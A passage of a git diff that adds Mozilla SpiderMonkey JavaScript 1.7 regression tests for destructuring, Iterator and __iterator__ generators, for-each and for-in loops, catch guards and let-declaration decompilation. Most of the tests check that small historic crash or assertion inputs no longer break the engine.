@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with empty array in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:[] }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/expressions/regress-346645-03.js b/js/src/tests/js1_7/expressions/regress-346645-03.js
new file mode 100644
index 000000000..20f4d8edb
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/regress-346645-03.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with non-empty array in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:[z] }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/expressions/regress-418051.js b/js/src/tests/js1_7/expressions/regress-418051.js
new file mode 100644
index 000000000..32c6b4eac
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/regress-418051.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418051;
+var summary = 'Do not assert: (pnkey)->pn_arity == PN_NULLARY && ' +
+ '((pnkey)->pn_type == TOK_NUMBER || (pnkey)->pn_type == TOK_STRING || ' +
+ '(pnkey)->pn_type == TOK_NAME)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("({x:[]}={x}");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/expressions/regress-451340.js b/js/src/tests/js1_7/expressions/regress-451340.js
new file mode 100644
index 000000000..77733091f
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/regress-451340.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451340;
+var summary = 'Do no crash [@ CheckDestructuring]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function x([y]) { }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/expressions/shell.js b/js/src/tests/js1_7/expressions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/shell.js
diff --git a/js/src/tests/js1_7/extensions/basic-Iterator.js b/js/src/tests/js1_7/extensions/basic-Iterator.js
new file mode 100644
index 000000000..b35f46d03
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/basic-Iterator.js
@@ -0,0 +1,165 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "Basic support for accessing iterable objects using Iterator";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function Array_equals(a, b)
+{
+ if (!(a instanceof Array) || !(b instanceof Array))
+ throw new Error("Arguments not both of type Array");
+ if (a.length != b.length)
+ return false;
+ for (var i = 0, sz = a.length; i < sz; i++)
+ if (a[i] !== b[i])
+ return false;
+ return true;
+}
+
+var iterable = { persistedProp: 17 };
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ var keys = ["foo", "bar", "baz"];
+ var vals = [6, 5, 14];
+
+ iterable.__iterator__ =
+ function(keysOnly)
+ {
+ var gen =
+ function()
+ {
+ for (var i = 0; i < keys.length; i++)
+ {
+ if (keysOnly)
+ yield keys[i];
+ else
+ yield [keys[i], vals[i]];
+ }
+ };
+ return gen();
+ };
+
+ /* Test [key, value] Iterator */
+ var index = 0;
+ var lastSeen = "INITIALVALUE";
+ var it = Iterator(iterable);
+ try
+ {
+ while (true)
+ {
+ var nextVal = it.next();
+ if (!Array_equals(nextVal, [keys[index], vals[index]]))
+ throw "Iterator(iterable): wrong next result\n" +
+ " expected: " + [keys[index], vals[index]] + "\n" +
+ " actual: " + nextVal;
+ lastSeen = keys[index];
+ index++;
+ }
+ }
+ catch (e)
+ {
+ if (lastSeen !== keys[keys.length - 1])
+ throw "Iterator(iterable): not everything was iterated!\n" +
+ " last iterated was: " + lastSeen + "\n" +
+ " error: " + e;
+ if (e !== StopIteration)
+ throw "Iterator(iterable): missing or invalid StopIteration";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+
+ /* Test [key, value] Iterator, called with an explicit |false| parameter */
+ var index = 0;
+ lastSeen = "INITIALVALUE";
+ it = Iterator(iterable, false);
+ try
+ {
+ while (true)
+ {
+ var nextVal = it.next();
+ if (!Array_equals(nextVal, [keys[index], vals[index]]))
+ throw "Iterator(iterable, false): wrong next result\n" +
+ " expected: " + [keys[index], vals[index]] + "\n" +
+ " actual: " + nextVal;
+ lastSeen = keys[index];
+ index++;
+ }
+ }
+ catch (e)
+ {
+ if (lastSeen !== keys[keys.length - 1])
+ throw "Iterator(iterable, false): not everything was iterated!\n" +
+ " last iterated was: " + lastSeen + "\n" +
+ " error: " + e;
+ if (e !== StopIteration)
+ throw "Iterator(iterable, false): missing or invalid StopIteration";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+
+ /* Test key-only Iterator */
+ index = 0;
+ lastSeen = undefined;
+ it = Iterator(iterable, true);
+ try
+ {
+ while (true)
+ {
+ var nextVal = it.next();
+ if (nextVal !== keys[index])
+ throw "Iterator(iterable, true): wrong next result\n" +
+ " expected: " + keys[index] + "\n" +
+ " actual: " + nextVal;
+ lastSeen = keys[index];
+ index++;
+ }
+ }
+ catch (e)
+ {
+ if (lastSeen !== keys[keys.length - 1])
+ throw "Iterator(iterable, true): not everything was iterated!\n" +
+ " last iterated was: " + lastSeen + "\n" +
+ " error: " + e;
+ if (e !== StopIteration)
+ throw "Iterator(iterable, true): missing or invalid StopIteration";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/basic-for-each.js b/js/src/tests/js1_7/extensions/basic-for-each.js
new file mode 100644
index 000000000..8b3097d4b
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/basic-for-each.js
@@ -0,0 +1,90 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "346582";
+var summary = "Basic support for iterable objects and for-each";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+var iterable = { persistedProp: 17 };
+
+function Array_equals(a, b)
+{
+ if (!(a instanceof Array) || !(b instanceof Array))
+ throw new Error("Arguments not both of type Array");
+ if (a.length != b.length)
+ return false;
+ for (var i = 0, sz = a.length; i < sz; i++)
+ if (a[i] !== b[i])
+ return false;
+ return true;
+}
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ var keys = ["foo", "bar", "baz"];
+ var vals = [6, 5, 14];
+
+ iterable.__iterator__ =
+ function(keysOnly)
+ {
+ var gen =
+ function()
+ {
+ for (var i = 0; i < keys.length; i++)
+ {
+ if (keysOnly)
+ yield keys[i];
+ else
+ yield [keys[i], vals[i]];
+ }
+ };
+ return gen();
+ };
+
+ // for each sets keysOnly==false
+ var index = 0;
+ for each (var v in iterable)
+ {
+ if (!Array_equals(v, [keys[index], vals[index]]))
+ throw "for-each iteration failed on index=" + index + "!";
+ index++;
+ }
+ if (index != keys.length)
+ throw "not everything iterated! index=" + index +
+ ", keys.length=" + keys.length;
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/basic-for-in.js b/js/src/tests/js1_7/extensions/basic-for-in.js
new file mode 100644
index 000000000..d50aa5cbe
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/basic-for-in.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "346582";
+var summary = "Basic support for iterable objects and for-in";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+var iterable = { persistedProp: 17 };
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ var keys = ["foo", "bar", "baz"];
+ var vals = [6, 5, 14];
+
+ iterable.__iterator__ =
+ function(keysOnly)
+ {
+ var gen =
+ function()
+ {
+ for (var i = 0; i < keys.length; i++)
+ {
+ if (keysOnly)
+ yield keys[i];
+ else
+ yield [keys[i], vals[i]];
+ }
+ };
+ return gen();
+ };
+
+ // for in sets keysOnly==true
+ var index = 0;
+ for (var k in iterable)
+ {
+ if (k != keys[index])
+ throw "for-in iteration failed on keys[\"" + index + "\"]";
+ index++;
+ }
+ if (index != keys.length)
+ throw "not everything iterated! index=" + index +
+ ", keys.length=" + keys.length;
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/browser.js b/js/src/tests/js1_7/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/browser.js
diff --git a/js/src/tests/js1_7/extensions/destructuring-order.js b/js/src/tests/js1_7/extensions/destructuring-order.js
new file mode 100644
index 000000000..72bba5b09
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/destructuring-order.js
@@ -0,0 +1,152 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "Order of destructuring, destructuring in the presence of " +
+ "exceptions";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+
+var a = "FAILED", b = "PASSED";
+
+function exceptObj()
+{
+ return { get b() { throw "PASSED"; }, a: "PASSED" };
+}
+
+function partialEvalObj()
+{
+ try
+ {
+ ({a:a, b:b} = exceptObj());
+ throw "FAILED";
+ }
+ catch (ex)
+ {
+ if (ex !== "PASSED")
+ throw "bad exception thrown: " + ex;
+ }
+}
+
+
+var c = "FAILED", d = "FAILED", e = "PASSED", f = "PASSED";
+
+function exceptArr()
+{
+ return ["PASSED", {e: "PASSED", get f() { throw "PASSED"; }}, "FAILED"];
+}
+
+function partialEvalArr()
+{
+ try
+ {
+ [c, {e: d, f: e}, f] = exceptArr();
+ throw "FAILED";
+ }
+ catch (ex)
+ {
+ if (ex !== "PASSED")
+ throw "bad exception thrown: " + ex;
+ }
+}
+
+
+var g = "FAILED", h = "FAILED", i = "FAILED", j = "FAILED", k = "FAILED";
+var _g = "PASSED", _h = "FAILED", _i = "FAILED", _j = "FAILED", _k = "FAILED";
+var order = [];
+
+function objWithGetters()
+{
+ return {
+ get j()
+ {
+ var rv = _j;
+ _g = _h = _i = _j = "FAILED";
+ _k = "PASSED";
+ order.push("j");
+ return rv;
+ },
+ get g()
+ {
+ var rv = _g;
+ _g = _i = _j = _k = "FAILED";
+ _h = "PASSED";
+ order.push("g");
+ return rv;
+ },
+ get i()
+ {
+ var rv = _i;
+ _g = _h = _i = _k = "FAILED";
+ _j = "PASSED";
+ order.push("i");
+ return rv;
+ },
+ get k()
+ {
+ var rv = _k;
+ _g = _h = _i = _j = _k = "FAILED";
+ order.push("k");
+ return rv;
+ },
+ get h()
+ {
+ var rv = _h;
+ _g = _h = _j = _k = "FAILED";
+ _i = "PASSED";
+ order.push("h");
+ return rv;
+ }
+ };
+}
+
+function partialEvalObj2()
+{
+ ({g: g, h: h, i: i, j: j, k: k} = objWithGetters());
+}
+
+try
+{
+ partialEvalObj();
+ if (a !== "PASSED" || b !== "PASSED")
+ throw "FAILED: lhs not mutated correctly during destructuring!\n" +
+ "a == " + a + ", b == " + b;
+
+ partialEvalObj2();
+ if (g !== "PASSED" ||
+ h !== "PASSED" ||
+ i !== "PASSED" ||
+ j !== "PASSED" ||
+ k !== "PASSED")
+ throw "FAILED: order of property accesses wrong!\n" +
+ "order == " + order;
+
+ partialEvalArr();
+ if (c !== "PASSED" || d !== "PASSED" || e !== "PASSED")
+ throw "FAILED: lhs not mutated correctly during destructuring!\n" +
+ "c == " + c +
+ ", d == " + d +
+ ", e == " + e +
+ ", f == " + f ;
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/iterator-ctor.js b/js/src/tests/js1_7/extensions/iterator-ctor.js
new file mode 100644
index 000000000..92d3347cf
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/iterator-ctor.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// See http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide:Iterators_and_Generators
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "410725";
+var summary = "Test of the global Iterator constructor";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function iteratorToArray(iterator) {
+ var result = [];
+ for (var i in iterator) {
+ result[result.length] = i;
+ }
+ return result.sort();
+}
+
+var obj = {a:1, b:2};
+
+reportCompare('["a", "b"]',
+ uneval(iteratorToArray(obj)),
+ 'uneval(iteratorToArray(obj))');
+
+reportCompare('[["a", 1], ["b", 2]]',
+ uneval(iteratorToArray(Iterator(obj))),
+ 'uneval(iteratorToArray(Iterator(obj)))');
+
+reportCompare('[["a", 1], ["b", 2]]',
+ uneval(iteratorToArray(new Iterator(obj))),
+ 'uneval(iteratorToArray(new Iterator(obj)))');
+
+reportCompare('[["a", 1], ["b", 2]]',
+ uneval(iteratorToArray(Iterator(obj,false))),
+ 'uneval(iteratorToArray(Iterator(obj,false)))');
+
+reportCompare('[["a", 1], ["b", 2]]',
+ uneval(iteratorToArray(new Iterator(obj,false))),
+ 'uneval(iteratorToArray(new Iterator(obj,false)))');
+
+reportCompare('["a", "b"]',
+ uneval(iteratorToArray(Iterator(obj,true))),
+ 'uneval(iteratorToArray(Iterator(obj,true)))');
+
+reportCompare('["a", "b"]',
+ uneval(iteratorToArray(new Iterator(obj,true))),
+ 'uneval(iteratorToArray(new Iterator(obj,true)))');
+
+var flag;
+var obji = {a:1, b:2};
+obji.__iterator__ = function (b) { flag = b; yield -1; yield -2; }
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(obji)),
+ 'uneval(iteratorToArray(obji))');
+reportCompare(true, flag, 'uneval(iteratorToArray(obji)) flag');
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(Iterator(obji))),
+ 'uneval(iteratorToArray(Iterator(obji)))');
+reportCompare(false, flag, 'uneval(iteratorToArray(Iterator(obji))) flag');
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(new Iterator(obji))),
+ 'uneval(iteratorToArray(new Iterator(obji)))');
+reportCompare(false, flag, 'uneval(iteratorToArray(new Iterator(obji))) flag');
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(Iterator(obji,false))),
+ 'uneval(iteratorToArray(Iterator(obji,false)))');
+reportCompare(false, flag, 'uneval(iteratorToArray(Iterator(obji,false))) flag');
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(new Iterator(obji,false))),
+ 'uneval(iteratorToArray(new Iterator(obji,false)))');
+reportCompare(false, flag, 'uneval(iteratorToArray(new Iterator(obji,false))) flag');
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(Iterator(obji,true))),
+ 'uneval(iteratorToArray(Iterator(obji,true)))');
+reportCompare(true, flag, 'uneval(iteratorToArray(Iterator(obji,true))) flag');
+
+flag = -1;
+reportCompare('[-1, -2]',
+ uneval(iteratorToArray(new Iterator(obji,true))),
+ 'uneval(iteratorToArray(new Iterator(obji,true)))');
+reportCompare(true, flag, 'uneval(iteratorToArray(new Iterator(obji,true))) flag');
diff --git a/js/src/tests/js1_7/extensions/regress-346021.js b/js/src/tests/js1_7/extensions/regress-346021.js
new file mode 100644
index 000000000..e8849aae3
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-346021.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346021;
+var summary = 'Implementing __iterator__ as generator';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o = { __iterator__: function () { print(12); yield 42; } };
+
+ expect = 42;
+ actual = 0;
+
+ for (let i in Iterator(o))
+ {
+ actual = i;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ actual = 0;
+
+ for (let i in o)
+ {
+ actual = i; // this doesn't iterate 42
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-346642-06.js b/js/src/tests/js1_7/extensions/regress-346642-06.js
new file mode 100644
index 000000000..e7664eab5
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-346642-06.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+ actual = '';
+ "" + function() { [] = 3 }; actual = 3;
+ actual = 3;
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ var z = 6;
+ var f = eval('(function (){for(let [] = []; false;) let z; return z})');
+ expect = f();
+ actual = eval("("+f+")")()
+ reportCompare(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=408957
+ var summarytrunk = 'let declaration must be direct child of block or top-level implicit block';
+ expect = 'SyntaxError';
+ actual = ex.name;
+ reportCompare(expect, actual, summarytrunk);
+ }
+
+ expect = 3;
+ actual = '';
+ "" + function () { for(;; [[a]] = [5]) { } }; actual = 3;
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = 3;
+ actual = '';
+ "" + function () { for(;; ([[,]] = p)) { } }; actual = 3;
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = 3;
+ actual = '';
+ actual = 1; try {for(x in (function ([y]) { })() ) { }}catch(ex){} actual = 3;
+ reportCompare(expect, actual, summary + ': 5');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-346773.js b/js/src/tests/js1_7/extensions/regress-346773.js
new file mode 100644
index 000000000..3faa2c73f
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-346773.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346773;
+var summary = 'Do not crash compiling with misplaced brances in function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var src =
+ ' var it = {foo:"5"};' +
+ ' it.__iterator__ =' +
+ ' function(valsOnly)' +
+ ' {' +
+ ' var gen =' +
+ ' function()' +
+ ' {' +
+ ' for (var i = 0; i < keys.length; i++)' +
+ ' {' +
+ ' if (valsOnly)' +
+ ' yield vals[i];' +
+ ' else' +
+ ' yield [keys[i], vals[i]];' +
+ ' }' +
+ ' return gen();' +
+ ' }' +
+ ' }';
+ eval(src);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-350312.js b/js/src/tests/js1_7/extensions/regress-350312.js
new file mode 100644
index 000000000..4da03648c
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-350312.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var iter;
+ function gen()
+ {
+ try {
+ yield iter;
+ } catch (e if e == null) {
+ actual += 'CATCH,';
+ print("CATCH");
+ } finally {
+ actual += 'FINALLY';
+ print("FINALLY");
+ }
+ }
+
+ expect = 'FINALLY';
+ actual = '';
+ (iter = gen()).next().close();
+ reportCompare(expect, actual, summary);
+
+ expect = 'FINALLY';
+ actual = '';
+ try
+ {
+ (iter = gen()).next().throw(1);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'CATCH,FINALLY';
+ actual = '';
+ try
+ {
+ (iter = gen()).next().throw(null);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'FINALLY';
+ actual = '';
+ var expectexcp = '[object StopIteration]';
+ var actualexcp = '';
+ try
+ {
+ (iter = gen()).next().next();
+ }
+ catch(ex)
+ {
+ actualexcp = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+ reportCompare(expectexcp, actualexcp, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-351070-02.js b/js/src/tests/js1_7/extensions/regress-351070-02.js
new file mode 100644
index 000000000..b478da195
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-351070-02.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351070;
+var summary = 'decompilation of let declaration should not change scope';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var pfx = "(function f() { var n = 2, a = 2; ",
+ decl = " let a = 3;",
+ end = " return a; })";
+
+ var table = [
+ ["if (!!true)", ""],
+ ["if (!!true)", " else foopy();"],
+ ["if (!true); else", ""],
+ ["do ", " while (false);"],
+ ["while (--n)", ""],
+ ["for (--n;n;--n)", ""],
+ ["for (a in this)", ""],
+ ["with (this)", ""],
+ ];
+
+ expect = 3;
+
+ for (i = 0; i < table.length; i++) {
+ var src = pfx + table[i][0] + decl + table[i][1] + end;
+ print('src: ' + src);
+ var fun = eval(src);
+ var testval = fun();
+ reportCompare(expect, testval, summary + ': ' + src);
+ if (testval != expect) {
+ break;
+ }
+ print('uneval: ' + uneval(fun));
+ var declsrc = '(' +
+ src.slice(1, -1).replace('function f', 'function f' + i) + ')';
+ print('declsrc: ' + declsrc);
+ this['f' + i] = eval(declsrc);
+ print('f' + i + ': ' + this['f' + i]);
+ }
+ }
+ catch(ex)
+ {
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=408957
+ summary = 'let declaration must be direct child of block or top-level implicit block';
+ expect = 'SyntaxError';
+ actual = ex.name;
+ reportCompare(expect, actual, summary);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-351102-03.js b/js/src/tests/js1_7/extensions/regress-351102-03.js
new file mode 100644
index 000000000..5790cfab8
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-351102-03.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+ f = function()
+ {
+ try
+ {
+ d.d.d;
+ }
+ catch({} if gc())
+ {
+ }
+ catch(y)
+ {
+ }
+ };
+
+ f();
+ f();
+
+ reportCompare(expect, actual, summary + ': 3');
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-351102-04.js b/js/src/tests/js1_7/extensions/regress-351102-04.js
new file mode 100644
index 000000000..716454160
--- /dev/null
